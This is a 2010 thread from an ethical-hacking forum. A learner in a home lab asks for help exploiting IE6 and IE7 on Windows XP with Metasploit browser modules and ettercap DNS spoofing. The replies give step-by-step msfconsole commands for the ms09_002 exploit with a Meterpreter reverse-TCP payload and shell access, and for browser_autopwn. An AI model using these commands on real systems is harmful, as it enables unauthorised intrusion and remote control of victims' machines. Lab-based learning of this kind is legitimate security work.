Home
Calendar
Certifications
Columns
Features
Forum
Resources
Vitals
Latest Additions
April 2013 Free Giveaway Sponsor - eLearnSecurity
Human Intelligence to Navigate the Security Data Deluge
February 2013 Free Giveaway Winner of SANS CyberCon Training
Interview: Bugcrowd Founders on Herding Ninjas for Crowdsourced Bug Bounties
Network Forensics: The Tree in the Forest
March 2013 Free Giveaway Sponsor - Mile2
Book Review: Violent Python
February 2013 Free Giveaway Sponsor - SANS
Holiday 2012 Free Giveaway Winner of Metasploit Pro by Rapid7
Course Review: SANS FOR408 Computer Forensic Investigations – Windows In-Depth
The Security Consulting Sugar High
Tutorial: Fun with SMB on the Command Line
Interview: Ilia Kolochenko, CEO of High-Tech Bridge
October 2012 Free Giveaway Winner of LearningGate Training
The Broken: Assessing Corporate Security in 2012 to Make a Better 2013
EH-Net Login
Welcome Guest.
Username:
Password:
Remember me
Lost Password?
No account yet?
Register
Who's Online
We have 51 guests and 1 member online
You are here:
Home
Ethical Hacking Discussions and Related Certifications
Network Pen Testing
CEH - Certified Ethical Hacker
MS09_002 memory corruption exploit help !@!
EH-Net
May 21, 2013, 10:29:03 AM
Welcome,
Guest
. Please
login
or
register
.
Did you miss your
activation email?
1 Hour
1 Day
1 Week
1 Month
Forever
Login with username, password and session length
News
: Go back to The Ethical Hacker Network Online Magazine
Home Page
Home
Help
Calendar
Login
Register
EH-Net
>
Ethical Hacking Discussions and Related Certifications
>
Network Pen Testing
>
CEH - Certified Ethical Hacker
(Moderator:
don
) >
MS09_002 memory corruption exploit help !@!
Pages: [
1
]
Go Down
« previous
next »
Print
Author
Topic: MS09_002 memory corruption exploit help !@! (Read 7100 times)
0 Members and 1 Guest are viewing this topic.
rebrov
Full Member
Offline
Posts: 130
MS09_002 memory corruption exploit help !@!
«
on:
June 01, 2010, 10:39:05 AM »
I've started my first pentest Lab
successfuly and thanks to all friends here that helped me alot to do that and i started my first pentest process
i tried to exploit my windows xp sp3 machine with the MS09_002_memory_corruption exploit with BackTrack 4
and when the target tried to open the browser IE6 not IE7 i got this at the Metasploit shell :
Sending Internet Explorer 7 Uninitialized Memory Corruption Vulnerability to 192.168.1.2:1074 ...
is that because im using IE6 not IE7 i thought i can use this exploit at both of them !!
??
and one more thing what exploit was i talking about in this video :
http://www.youtube.com/watch?v=lhIk5Cix3DU
that guy demonstrated way to force the victim to go to his exploit server that he made with metasploit
and i tried ti this since its aweosme way to not send the victim any link or anything to ur server
i tried to do this with ettercap i edited the etter.dns and :
added the A record as the following
* A 192.168.1.4
and then used the exploit in metasploit
the problem is when i used this exploit and if i didn't configure the options "URIPATH" it takes random path that i have to send to victim
so the new path will be for example
http://192.168.1.4/gegwsgf
and the ettercap will redirect the traffic to 192.168.1.4 only without /gegwsgf
and when i tried it the victim spoofed successfuly to my ip 192.168.1.4 but no connection established at the metasploit :S why ?
that guy on the video didn't type URIPATH and didn't get random path like i did 192.168.1.4 only without the 192.168.1.4:80/fedfwgvsw
why ?
«
Last Edit: June 01, 2010, 11:40:02 AM by rebrov
»
Logged
yatz
Full Member
Offline
Posts: 222
Re: MS09_002 memory corruption exploit help !@!
«
Reply #1 on:
June 02, 2010, 09:10:25 AM »
Congrats on your test environment! Now let's see...
I just took a look at this exploit. Looks like it is specifically IE7 (as noted in the MS09-002 KB article (
http://www.microsoft.com/technet/security/bulletin/ms09-002.mspx
). I did test this on IE7 and saw it succeed and tested IE6 and it failed.
Did you use msfconsole or msfgui? The video used the GUI but I do not have experience with that. In the console, you will need to specify the SRVPORT and URIPATH (set SRVPORT 80, set URIPATH /) to have the exploit work on basic port 80 and at the root path. If you do not specify URIPATH then it will pick a random one as you saw.
I bet msfgui sets the URIPATH to / (root) if nothing is typed but that is not the default behavior in msfconsole.
The commands I used to get it working are as follows:
msfconsole
use exploit/windows/browser/ms09_002_memory_corruption
set TARGET 0
set URIPATH /
set SRVPORT 80
set LHOST <local IP>
set PAYLOAD windows/meterpreter/reverse_tcp
exploit
(vulnerable machine navigates to http://<ip address>)
sessions
sessions -i 1
shell
Voila!
Play around with the ettercap stuff too. This basic config for msfconsole can be used with many of the browser exploits. Try different ones and see what happens!
Logged
"Live as though you would die tomorrow, learn as though you would live forever."
CCNA, MCSA, MCTS, Sec+, Net+, Linux+, CEH
rebrov
Full Member
Offline
Posts: 130
Re: MS09_002 memory corruption exploit help !@!
«
Reply #2 on:
June 02, 2010, 07:46:16 PM »
Quote
Did you use msfconsole or msfgui?
yes i always using msfconsole
Quote
set URIPATH /
yes i tried ur way and it worked with dns spoof and forced my xp once i opened the IE7 to make the exploit work but didn't get any session
because i think as u said this exploit working at IE7 only
do u know any working IE6 exploit i can use ?
i searched on the aurora one in my metasploit at backtrack 4
but didn't find this 1
Logged
yatz
Full Member
Offline
Posts: 222
Re: MS09_002 memory corruption exploit help !@!
«
Reply #3 on:
June 03, 2010, 09:08:09 AM »
The aurora exploit is listed under MS10_002_aurora.
Maybe try searching on the metasploit website for modules containing IE6?
Logged
"Live as though you would die tomorrow, learn as though you would live forever."
CCNA, MCSA, MCTS, Sec+, Net+, Linux+, CEH
yatz
Full Member
Offline
Posts: 222
Re: MS09_002 memory corruption exploit help !@!
«
Reply #4 on:
June 03, 2010, 09:15:36 AM »
FYI - I thought this would be a good question for the community so I posed a new topic for exploit listings by product.
http://www.ethicalhacker.net/component/option,com_smf/Itemid,54/topic,5570.0/
Logged
"Live as though you would die tomorrow, learn as though you would live forever."
CCNA, MCSA, MCTS, Sec+, Net+, Linux+, CEH
xXxKrisxXx
Hero Member
Offline
Posts: 512
Re: MS09_002 memory corruption exploit help !@!
«
Reply #5 on:
June 03, 2010, 11:07:35 AM »
Have you taken into consideration that maybe your Windows XP SP3 box has gotten a security update and patched the vulnerability? I noticed you said you browsed to it and got no session.
A good way to test this in Metasploit is the auxiliary/server/browser_autopwn module. I've found this module most useful - It fingerprints the browser that connects to you on port 80 and chooses a specific exploit module to launch against it. See if you get some positive results out of it and if you do, see what exploit was successful against your browser then attempt to replicate the video using that specific exploit & ettercap.
Cheers,
kris
Logged
eCPPT, GCIH, OSCP, OSWP
rebrov
Full Member
Offline
Posts: 130
Re: MS09_002 memory corruption exploit help !@!
«
Reply #6 on:
June 03, 2010, 06:51:43 PM »
Quote
A good way to test this in Metasploit is the auxiliary/server/browser_autopwn module. I've found this module most useful - It fingerprints the browser that connects to you on port 80 and chooses a specific exploit module to launch against it.
can u please tell me when i use this ?
after i dns_spoofed the target with ettercap and tried to get session with metasploit but didn't yet do u mean after i tried both of them i use this ??
or just after ettercap ??
because u said it trying to get vulnerability of brwoser that trying to connect to you
can you please gimme more details and steps ?
and btw i tried this exploit
ani_loadimage_chunksize
its working for both IE6 and IE7 but didn't work with me same its final step before the
Sending stage (723456 bytes)
and it stopped
here's what i got :
msf exploit(ani_loadimage_chunksize) >
Attempting to exploit ani_loadimage_chunksize
Sending HTML page to 192.168.1.2:1130...
Attempting to exploit ani_loadimage_chunksize
Sending Windows ANI LoadAniIcon() Chunk Size Stack Overflow (HTTP) to 192.168.1.2:1130...[/color][/b]
and thats all never get session
i need u to tell me the auxiliary/server/browser_autopwn usage so i can try
Logged
yatz
Full Member
Offline
Posts: 222
Re: MS09_002 memory corruption exploit help !@!
«
Reply #7 on:
June 04, 2010, 08:30:02 AM »
For the ani_loadimage_chunksize, can you try to follow the steps in this thread?
http://forums.remote-exploit.org/newbie-area/20836-anyone-familiar-metasploits-ani_loadimage_chunksize.html
Logged
"Live as though you would die tomorrow, learn as though you would live forever."
CCNA, MCSA, MCTS, Sec+, Net+, Linux+, CEH
yatz
Full Member
Offline
Posts: 222
Re: MS09_002 memory corruption exploit help !@!
«
Reply #8 on:
June 04, 2010, 08:52:22 AM »
As for the browser_autopwn, it is a replacement to the exploit you use. Basically AUTOPWN will AUTOMATICALLY PWN the target. It does this by starting a whole bunch of exploits at once and then when the target browser navigates to the URI, it will exploit it one at a time until it gets a session.
(From offensive-security website...)
use auxiliary/server/browser_autopwn
setg AUTOPWN_HOST <ipaddress>
setg AUTOPWN_PORT 55550
setg AUTOPWN_URI /ads
set LHOST <ipaddress>
set LPORT 45000
set SRVPORT 55550
set URIPATH /ads
run
This will load a bunch of modules, then the target goes to "http://<ipaddress>:55550/ads" and the magic happens!
Logged
"Live as though you would die tomorrow, learn as though you would live forever."
CCNA, MCSA, MCTS, Sec+, Net+, Linux+, CEH
rebrov
Full Member
Offline
Posts: 130
Re: MS09_002 memory corruption exploit help !@!
«
Reply #9 on:
June 04, 2010, 11:01:51 AM »
Quote from: yatz on June 04, 2010, 08:52:22 AM
As for the browser_autopwn, it is a replacement to the exploit you use. Basically AUTOPWN will AUTOMATICALLY PWN the target. It does this by starting a whole bunch of exploits at once and then when the target browser navigates to the URI, it will exploit it one at a time until it gets a session.
(From offensive-security website...)
use auxiliary/server/browser_autopwn
setg AUTOPWN_HOST <ipaddress>
setg AUTOPWN_PORT 55550
setg AUTOPWN_URI /ads
set LHOST <ipaddress>
set LPORT 45000
set SRVPORT 55550
set URIPATH /ads
run
This will load a bunch of modules, then the target goes to "http://<ipaddress>:55550/ads" and the magic happens!
should i put /ads at the URIPATH ??
because i put always / only to make the target redirect to my ettercap ip
to
http://192.168.1.4/
and i always put the SRVPORT 80 to make the target redirect to dufault path to my server
but anyway i saw at the offensive-security site that i should only
use the exploit and then put the lhost and then run
didn't see those commands ... should i ?
Logged
rebrov
Full Member
Offline
Posts: 130
Re: MS09_002 memory corruption exploit help !@!
«
Reply #10 on:
June 04, 2010, 11:02:42 AM »
Quote from: yatz on June 04, 2010, 08:30:02 AM
For the ani_loadimage_chunksize, can you try to follow the steps in this thread?
http://forums.remote-exploit.org/newbie-area/20836-anyone-familiar-metasploits-ani_loadimage_chunksize.html
i found no steps i can do at this thread
Logged
yatz
Full Member
Offline
Posts: 222
Re: MS09_002 memory corruption exploit help !@!
«
Reply #11 on:
June 04, 2010, 02:47:15 PM »
Quote from: rebrov on June 04, 2010, 11:02:42 AM
i found no steps i can do at this thread
Quote
You will want to set the RHOST to an MTA. For example, if I want to send this exploit to
user@companyA.com
, and they have an mx for that domain (mail.companya.com), then I will specify that host as the RHOST. I believe that you can specify an open SMTP relay as well, such as your ISP's mail relay. Also, in order for them to connect back to you, you will either need to place your box on the Internet or behind a firewall with a destination NAT pointed back to your box. Otherwise, the victim will not be able to comm back to you.
See post #2 - RHOST, MX address, etc. I've not used this so I don't know the details.
If you are just trying to exploit ie6, there are other ones out there. The browser_autopwn is very easy especially if you don't know what will work or not.
Logged
"Live as though you would die tomorrow, learn as though you would live forever."
CCNA, MCSA, MCTS, Sec+, Net+, Linux+, CEH
yatz
Full Member
Offline
Posts: 222
Re: MS09_002 memory corruption exploit help !@!
«
Reply #12 on:
June 04, 2010, 02:50:10 PM »
Quote from: rebrov on June 04, 2010, 11:01:51 AM
should i put /ads at the URIPATH ??
because i put always / only to make the target redirect to my ettercap ip
to
http://192.168.1.4/
and i always put the SRVPORT 80 to make the target redirect to dufault path to my server
but anyway i saw at the offensive-security site that i should only
use the exploit and then put the lhost and then run
didn't see those commands ... should i ?
Change AUTOPWN_PORT to 80, AUTOPWN_URI to /, SRVPORT to 80 and URIPATH to / and you should get what you want. I just pulled that code straight from the OS website and it worked for me in BT4.
Logged
"Live as though you would die tomorrow, learn as though you would live forever."
CCNA, MCSA, MCTS, Sec+, Net+, Linux+, CEH
Pages: [
1
]
Go Up
Print
« previous
next »
Jump to:
Please select a destination:
-----------------------------
EH-Net
-----------------------------
=> Calendar Of Events
===> ChicagoCon 2007
===> ChicagoCon 2008s
===> ChicagoCon 2008f
===> ChicagoCon 2009s
=> Ethical Hacktivism
=> News Items and General Discussion About EH-Net
===> Greetings
=> Special Events
-----------------------------
Ethical Hacking Discussions and Related Certifications
-----------------------------
=> General Certification
===> Networking
===> OS
===> Security
=> Compliance, Regulations & Standards
=> Control Systems
=> Cyber Warfare
=> Forensics
===> CCE / MCCE - (Master) Certified Computer Examiner
===> CHFI - Computer Hacking Forensic Investigator
===> EnCE - EnCase® Certified Examiner
===> GCFA - GIAC Certified Forensics Analyst
=> Hardware
=> Incident Response
===> CSIH - Computer Security Incident Handler
===> GCIH - GIAC Certified Incident Handler
=> Malware
===> Advisories
=> Mobile
=> Network Pen Testing
===> CEH - Certified Ethical Hacker
===> CPTC - Certified Penetration Testing Consultant
===> CPTE - Certified Penetration Testing Engineer
===> CSTA - Certified Security Testing Associate
===> eCPPT - eLearnSecurity Certified Professional Penetration Tester
===> ECSA - EC-Council Certified Security Analyst
===> GPEN - GIAC Certified Penetration Tester
===> OSCP - Offensive Security Certified Professional
=> Physical Security
=> Programming
=> Social Engineering
=> Web Applications
=> Wireless
===> CWNP Certs
===> GAWN - GIAC Assessing Wireless Networks
===> OSWP - Offensive Security Wireless Professional
=> Other
-----------------------------
Columns
-----------------------------
=> Editor-In-Chief
=> Andress
=> Gates
=> Haddix
=> Hadnagy
=> Heffner
=> Hoffman
=> Linn
=> RichM
=> Murray
=> J. Peltier
=> Weidman
=> Wilson
-----------------------------
Features
-----------------------------
=> /root
=> Book Reviews
=> Opinions
=> Skillz
===> Examples
===> May 06 - Star Hacks, Episode V: The Empire Hacks Back
===> July 06 - Hack Bill!
===> Sept 06 - Netcat in the Hat
===> Nov 06 - Hitch-Hackers Guide to the Galaxy
===> Dec 06 - A Christmas (Hacking) Story
===> Feb 07 - Charlottes Web Site
===> April 07 - Microsoft Office Space
===> June 07 - Serenity Hack
===> Oct 07 - Worst. Ethical. Hacker. Challenge. Ever.
===> Dec 07 - Frosty the Snow Crash
===> March 2008 - It Happened One Friday
===> Oct 2008 - Scooby Doo and the Crypto Caper
===> Dec 08 - Santa Claus Is Hacking to Town
===> Feb 2009 - Brady Bunch Boondoggle
===> July 2009 - Prison Break
===> October 2009 - SSHliders
===> December 2009 - Miracle on Thirty-Hack Street
===> December 2010 - The Nightmare Before Charlie Browns Christmas
-----------------------------
Resources
-----------------------------
=> Career Central
===> Looking For Work
===> Looking To Hire
=> Links to cool sites.
=> Mass Media
=> News from the Outside World
=> Tools
=> Tutorials
===> Tutorial Requests
Loading...
Exclusive Deal
SANSFIRE 2013
June 15 - 22
5% Off
w/ Code
:
EHN_5
SANS Deals 4 EH-Netters
5% OFF
Any
SANS Course
in Any Format!
Coupon Code:
EHN_5
Including
SANS Rocky Mountain 2013
&
SANS Boston 2013
Polls
Compared to this year, 2013 will be:
Great!
Better.
About the same.
Little worse.
FUBAR!
Recent Forum Topics
Programming
: Finished Python Course in Codecademy now what?
(12) by
3xban
Network Pen Testing
: AIX Vulnerability Assessments
(1) by
3xban
General Certification
: CPT Practical Submission
(1) by
UNIX
OSCP - Offensive Security Certified Professional
: Failed my first attempt at the OSCP exam
(94) by
azmatt
Tools
: Social-Engineer Toolkit (SET) Version 5.0 “The Wild West” Released
(2) by
m0wgli
Malware
: EICAR?
(3) by
UKSecurityGuy
Advisories
: HTB23154: Multiple Vulnerabilities in Exponent CMS
(0) by
AndyP
Advisories
: HTB23153: Multiple Vulnerabilities in Jojo CMS
(0) by
AndyP
Advisories
: HTB23151: Cross-Site Request Forgery (CSRF) in UMI.CMS
(0) by
AndyP
Tutorials
: Need guidance
(8) by
r0ckm4n
OSCP - Offensive Security Certified Professional
: Class Scheduled 6/8 - Linux n00b
(7) by
Taemyks
OSCP - Offensive Security Certified Professional
: OSCP exam scheduled
(6) by
gbhat
Incident Response
: LinkedIn Forensics
(0) by
AFENTIS_Forensics
General Certification
: Red Team/Blue Team
(1) by
ajohnson
Career Central
: Starter cert?
(3) by
Grendel
Network Pen Testing
: Beginner Ethical Hacker
(1) by
m0wgli
Web Applications
: Nessus and Nikto
(4) by
Seen
Network Pen Testing
: Cracking salted MD5 hash
(4) by
n37sh@rk
CEH - Certified Ethical Hacker
: Passed my C|EH
(3) by
n37sh@rk
Mass Media
: EC-council hacked, irony at his best?
(0) by
j0rDy
Web Applications
: SQL Injection into an INSERT statement.
(6) by
eyenit0
Network Pen Testing
: Solution for sipXtapi INVITE Message CSeq Field Header Remote Overflow
(1) by
m0wgli
Web Applications
: dns
(2) by
H1t M0nk3y
Other
: BSides Boston
(0) by
3xban
Career Central
: InfoSec in Central, FL
(2) by
tturner
Web Applications
: Web vulnerability scanner
(4) by
H1t M0nk3y
EH-Net News Feeds
Latest Additions
Privacy Notice
for TDCC & All Properties
© 2013 The Ethical Hacker Network
Joomla!
is Free Software released under the GNU/GPL License.